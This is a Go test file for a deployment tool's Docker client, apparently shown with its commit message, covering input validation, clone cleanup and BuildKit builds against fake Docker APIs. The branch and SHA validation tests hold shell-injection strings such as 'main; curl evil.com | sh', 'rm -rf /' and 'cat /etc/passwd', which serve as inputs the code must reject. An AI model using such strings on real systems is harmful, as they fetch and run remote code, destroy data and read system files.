Builds are tagged upaas-<app>:<short hash>, git's own short form of the commit checked out, instead of the deployment number. A redeploy of a commit gives the tag to the new image. The cleanup after a deploy now also finds the app's untagged images among those its deployments recorded, and removes them by ID once the app neither runs them nor would roll back to them. It keeps every image any app uses, since apps that build the same commit can share one. The clone reads the commits from git's output after removing Docker's log headers, which had hidden the COMMIT: line; commit_sha is now saved on update so manual deploys keep the commit they recorded. Model: opus-5-5
458 lines
11 KiB
Go
458 lines
11 KiB
Go
package docker //nolint:testpackage // tests unexported regexps and Client struct
|
|
|
|
import (
|
|
"bytes"
|
|
"context"
|
|
"encoding/json"
|
|
"errors"
|
|
"fmt"
|
|
"io"
|
|
"log/slog"
|
|
"net/http"
|
|
"net/http/httptest"
|
|
"net/url"
|
|
"path/filepath"
|
|
"strings"
|
|
"testing"
|
|
"time"
|
|
|
|
"github.com/docker/docker/client"
|
|
"github.com/docker/docker/pkg/stdcopy"
|
|
controlapi "github.com/moby/buildkit/api/services/control"
|
|
)
|
|
|
|
// mainBranch is the branch name used across validation tests.
|
|
const mainBranch = "main"
|
|
|
|
func TestValidBranchRegex(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
valid := []string{
|
|
mainBranch,
|
|
"develop",
|
|
"feature/my-feature",
|
|
"release-1.0",
|
|
"v1.2.3",
|
|
"fix/issue_42",
|
|
"my.branch",
|
|
}
|
|
for _, b := range valid {
|
|
if !validBranchRe.MatchString(b) {
|
|
t.Errorf("expected branch %q to be valid", b)
|
|
}
|
|
}
|
|
|
|
invalid := []string{
|
|
"main; curl evil.com | sh",
|
|
"branch$(whoami)",
|
|
"branch`id`",
|
|
"branch && rm -rf /",
|
|
"branch | cat /etc/passwd",
|
|
"",
|
|
"branch name with spaces",
|
|
"branch\nnewline",
|
|
}
|
|
for _, b := range invalid {
|
|
if validBranchRe.MatchString(b) {
|
|
t.Errorf("expected branch %q to be invalid (potential injection)", b)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestValidCommitSHARegex(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
valid := []string{
|
|
"abc123def456789012345678901234567890abcd",
|
|
"0000000000000000000000000000000000000000",
|
|
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
|
}
|
|
for _, s := range valid {
|
|
if !validCommitSHARe.MatchString(s) {
|
|
t.Errorf("expected SHA %q to be valid", s)
|
|
}
|
|
}
|
|
|
|
invalid := []string{
|
|
"short",
|
|
"abc123",
|
|
"ABCDEF1234567890123456789012345678901234", // uppercase
|
|
"abc123def456789012345678901234567890abcd; rm -rf /",
|
|
"$(whoami)000000000000000000000000000000000",
|
|
"",
|
|
}
|
|
for _, s := range invalid {
|
|
if validCommitSHARe.MatchString(s) {
|
|
t.Errorf("expected SHA %q to be invalid (potential injection)", s)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestCloneRepoRejectsInjection(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
c := &Client{
|
|
log: slog.Default(),
|
|
}
|
|
|
|
tests := []struct {
|
|
name string
|
|
branch string
|
|
commitSHA string
|
|
wantErr error
|
|
}{
|
|
{
|
|
name: "shell injection in branch",
|
|
branch: "main; curl evil.com | sh #",
|
|
wantErr: ErrInvalidBranch,
|
|
},
|
|
{
|
|
name: "command substitution in branch",
|
|
branch: "$(whoami)",
|
|
wantErr: ErrInvalidBranch,
|
|
},
|
|
{
|
|
name: "backtick injection in branch",
|
|
branch: "`id`",
|
|
wantErr: ErrInvalidBranch,
|
|
},
|
|
{
|
|
name: "injection in commitSHA",
|
|
branch: mainBranch,
|
|
commitSHA: "not-a-sha; rm -rf /",
|
|
wantErr: ErrInvalidCommitSHA,
|
|
},
|
|
{
|
|
name: "short SHA rejected",
|
|
branch: mainBranch,
|
|
commitSHA: "abc123",
|
|
wantErr: ErrInvalidCommitSHA,
|
|
},
|
|
{
|
|
name: "valid inputs pass validation (hit NotConnected)",
|
|
branch: mainBranch,
|
|
commitSHA: "abc123def456789012345678901234567890abcd",
|
|
wantErr: ErrNotConnected,
|
|
},
|
|
{
|
|
name: "valid branch no SHA passes validation (hit NotConnected)",
|
|
branch: mainBranch,
|
|
wantErr: ErrNotConnected,
|
|
},
|
|
}
|
|
|
|
for _, tt := range tests {
|
|
t.Run(tt.name, func(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
_, err := c.CloneRepo(
|
|
t.Context(),
|
|
"git@example.com:repo.git",
|
|
tt.branch,
|
|
tt.commitSHA,
|
|
"fake-key",
|
|
"/tmp/container",
|
|
"/tmp/host",
|
|
)
|
|
if err == nil {
|
|
t.Fatal("expected error, got nil")
|
|
}
|
|
|
|
if !errors.Is(err, tt.wantErr) {
|
|
t.Errorf("expected error %v, got %v", tt.wantErr, err)
|
|
}
|
|
})
|
|
}
|
|
}
|
|
|
|
// TestPerformCloneRemovesContainerVolumes runs a clone against a fake Docker
|
|
// API and checks that the clone container is removed together with its
|
|
// anonymous volumes, whether the clone succeeds, fails, or is cancelled.
|
|
func TestPerformCloneRemovesContainerVolumes(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
tests := []struct {
|
|
name string
|
|
exitCode int
|
|
cancel bool
|
|
}{
|
|
{name: "succeeds", exitCode: 0},
|
|
{name: "fails", exitCode: 1},
|
|
{name: "cancelled", cancel: true},
|
|
}
|
|
|
|
for _, tt := range tests {
|
|
t.Run(tt.name, func(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
ctx, cancel := context.WithCancel(t.Context())
|
|
t.Cleanup(cancel)
|
|
|
|
removeQuery := make(chan url.Values, 1)
|
|
|
|
srv := httptest.NewServer(http.HandlerFunc(
|
|
func(w http.ResponseWriter, r *http.Request) {
|
|
w.Header().Set("Content-Type", "application/json")
|
|
|
|
switch {
|
|
case r.Method == http.MethodDelete:
|
|
removeQuery <- r.URL.Query()
|
|
case strings.HasSuffix(r.URL.Path, "/containers/create"):
|
|
_, _ = w.Write([]byte(`{"Id":"gitcontainer"}`))
|
|
case strings.HasSuffix(r.URL.Path, "/wait") && tt.cancel:
|
|
// Cancel the deploy while the clone is running.
|
|
cancel()
|
|
<-r.Context().Done()
|
|
case strings.HasSuffix(r.URL.Path, "/wait"):
|
|
_, _ = fmt.Fprintf(w, `{"StatusCode":%d}`, tt.exitCode)
|
|
case strings.HasSuffix(r.URL.Path, "/logs"):
|
|
writeCloneOutput(w)
|
|
default:
|
|
_, _ = w.Write([]byte(`{}`))
|
|
}
|
|
},
|
|
))
|
|
t.Cleanup(srv.Close)
|
|
|
|
dockerAPI, err := client.NewClientWithOpts(
|
|
client.WithHost("tcp://" + srv.Listener.Addr().String()),
|
|
)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
c := &Client{docker: dockerAPI, log: slog.Default()}
|
|
|
|
dir := t.TempDir()
|
|
cfg := &cloneConfig{
|
|
repoURL: "git@example.com:repo.git",
|
|
branch: mainBranch,
|
|
sshPrivateKey: "fake-key",
|
|
containerDir: filepath.Join(dir, "repo"),
|
|
hostDir: filepath.Join(dir, "repo"),
|
|
keyFile: filepath.Join(dir, "deploy_key"),
|
|
hostKeyFile: filepath.Join(dir, "deploy_key"),
|
|
}
|
|
|
|
_, _ = c.performClone(ctx, cfg)
|
|
|
|
select {
|
|
case query := <-removeQuery:
|
|
if query.Get("v") != "1" {
|
|
t.Errorf("clone container removed without its volumes: %v", query)
|
|
}
|
|
default:
|
|
t.Error("clone container was not removed")
|
|
}
|
|
})
|
|
}
|
|
}
|
|
|
|
// cloneCommit is the commit the fake clones in these tests check out.
|
|
const cloneCommit = "1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b"
|
|
|
|
// writeCloneOutput writes the output of a git clone of cloneCommit as
|
|
// Docker sends a container's log: each line after a header.
|
|
func writeCloneOutput(w io.Writer) {
|
|
stdout := stdcopy.NewStdWriter(w, stdcopy.Stdout)
|
|
stderr := stdcopy.NewStdWriter(w, stdcopy.Stderr)
|
|
|
|
_, _ = stderr.Write([]byte("Cloning into '/repo'...\n"))
|
|
_, _ = stdout.Write([]byte("COMMIT:" + cloneCommit + "\n"))
|
|
_, _ = stdout.Write([]byte("SHORT_SHA:1a2b3c4\n"))
|
|
}
|
|
|
|
// TestCloneRepoReadsCommit runs a clone against a fake Docker API and
|
|
// checks that the commit checked out is read from the clone's output, in
|
|
// full and in git's short form.
|
|
func TestCloneRepoReadsCommit(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
srv := httptest.NewServer(http.HandlerFunc(
|
|
func(w http.ResponseWriter, r *http.Request) {
|
|
switch {
|
|
case strings.HasSuffix(r.URL.Path, "/containers/create"):
|
|
_, _ = w.Write([]byte(`{"Id":"gitcontainer"}`))
|
|
case strings.HasSuffix(r.URL.Path, "/logs"):
|
|
writeCloneOutput(w)
|
|
default:
|
|
_, _ = w.Write([]byte(`{}`))
|
|
}
|
|
},
|
|
))
|
|
t.Cleanup(srv.Close)
|
|
|
|
dockerAPI, err := client.NewClientWithOpts(
|
|
client.WithHost("tcp://" + srv.Listener.Addr().String()),
|
|
)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
c := &Client{docker: dockerAPI, log: slog.Default()}
|
|
|
|
result, err := c.CloneRepo(
|
|
t.Context(), "git@example.com:repo.git", mainBranch, "", "fake-key",
|
|
t.TempDir(), t.TempDir(),
|
|
)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
if result.CommitSHA != cloneCommit || result.ShortSHA != "1a2b3c4" {
|
|
t.Errorf("got commit %q, short %q", result.CommitSHA, result.ShortSHA)
|
|
}
|
|
}
|
|
|
|
// TestPerformBuildUsesBuildKit runs a build against a fake Docker API and
|
|
// checks that it asks for BuildKit and that BuildKit's progress reaches the
|
|
// build log as plain text.
|
|
func TestPerformBuildUsesBuildKit(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
now := time.Now()
|
|
status := controlapi.StatusResponse{Vertexes: []*controlapi.Vertex{{
|
|
Digest: "sha256:1111",
|
|
Name: "[build 2/2] RUN make",
|
|
Started: &now,
|
|
Completed: &now,
|
|
}}}
|
|
|
|
data, err := status.Marshal()
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
trace, err := json.Marshal(data)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
srv := httptest.NewServer(http.HandlerFunc(
|
|
func(w http.ResponseWriter, r *http.Request) {
|
|
switch {
|
|
case strings.HasSuffix(r.URL.Path, "/version"):
|
|
_, _ = w.Write([]byte(`{"Version":"27.3.1","ApiVersion":"1.47"}`))
|
|
case strings.HasSuffix(r.URL.Path, "/build"):
|
|
if r.URL.Query().Get("version") != "2" {
|
|
http.Error(w, "not a BuildKit build", http.StatusBadRequest)
|
|
|
|
return
|
|
}
|
|
|
|
_, _ = fmt.Fprintf(w, "{\"id\":\"moby.buildkit.trace\",\"aux\":%s}\n", trace)
|
|
default:
|
|
_, _ = w.Write([]byte(`{"Id":"sha256:built"}`))
|
|
}
|
|
},
|
|
))
|
|
t.Cleanup(srv.Close)
|
|
|
|
dockerAPI, err := client.NewClientWithOpts(
|
|
client.WithHost("tcp://" + srv.Listener.Addr().String()),
|
|
)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
c := &Client{docker: dockerAPI, log: slog.Default()}
|
|
|
|
var buildLog bytes.Buffer
|
|
|
|
imageID, err := c.performBuild(t.Context(), BuildImageOptions{
|
|
ContextDir: t.TempDir(),
|
|
Tags: []string{"upaas-test:1"},
|
|
LogWriter: &buildLog,
|
|
})
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
if imageID != "sha256:built" {
|
|
t.Errorf("unexpected image ID %q", imageID)
|
|
}
|
|
|
|
if !strings.Contains(buildLog.String(), "[build 2/2] RUN make") {
|
|
t.Errorf("build log is missing the build step:\n%s", buildLog.String())
|
|
}
|
|
}
|
|
|
|
// TestPerformBuildFails runs builds that fail against a fake Docker API and
|
|
// checks that each returns its own error and that no image is inspected
|
|
// afterwards.
|
|
func TestPerformBuildFails(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
tests := []struct {
|
|
name string
|
|
engine string // Docker Engine version the fake daemon reports
|
|
apiVersion string // API version the fake daemon reports
|
|
buildOutput string
|
|
wantErr string
|
|
}{
|
|
{
|
|
name: "build step fails",
|
|
engine: "27.3.1",
|
|
apiVersion: "1.47",
|
|
buildOutput: `{"stream":"Step 1/1 : RUN false\n"}` + "\n" +
|
|
`{"errorDetail":{"message":"exit code: 1"},"error":"exit code: 1"}`,
|
|
wantErr: "exit code: 1",
|
|
},
|
|
{
|
|
name: "daemon too old for BuildKit",
|
|
engine: "18.06.3-ce",
|
|
apiVersion: "1.38",
|
|
wantErr: "BuildKit is unavailable on the Docker daemon: " +
|
|
"Docker Engine 18.06.3-ce (API 1.38) is older than 18.09 (API 1.39); " +
|
|
"upgrade Docker Engine",
|
|
},
|
|
{
|
|
// The build step's own error shows the build went ahead.
|
|
name: "daemon at API 1.39 builds",
|
|
engine: "18.09.9",
|
|
apiVersion: "1.39",
|
|
buildOutput: `{"stream":"Step 1/1 : RUN false\n"}` + "\n" +
|
|
`{"errorDetail":{"message":"exit code: 1"},"error":"exit code: 1"}`,
|
|
wantErr: "exit code: 1",
|
|
},
|
|
}
|
|
|
|
for _, tt := range tests {
|
|
t.Run(tt.name, func(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
srv := httptest.NewServer(http.HandlerFunc(
|
|
func(w http.ResponseWriter, r *http.Request) {
|
|
switch {
|
|
case strings.HasSuffix(r.URL.Path, "/version"):
|
|
_, _ = fmt.Fprintf(w, `{"Version":%q,"ApiVersion":%q}`,
|
|
tt.engine, tt.apiVersion)
|
|
case strings.HasSuffix(r.URL.Path, "/build"):
|
|
_, _ = w.Write([]byte(tt.buildOutput))
|
|
default:
|
|
t.Errorf("unexpected request to %s", r.URL.Path)
|
|
}
|
|
},
|
|
))
|
|
t.Cleanup(srv.Close)
|
|
|
|
dockerAPI, err := client.NewClientWithOpts(
|
|
client.WithHost("tcp://" + srv.Listener.Addr().String()),
|
|
)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
c := &Client{docker: dockerAPI, log: slog.Default()}
|
|
|
|
_, err = c.performBuild(t.Context(), BuildImageOptions{
|
|
ContextDir: t.TempDir(),
|
|
Tags: []string{"upaas-test:1"},
|
|
})
|
|
if err == nil || err.Error() != tt.wantErr {
|
|
t.Errorf("got error %v, want %q", err, tt.wantErr)
|
|
}
|
|
})
|
|
}
|
|
}
|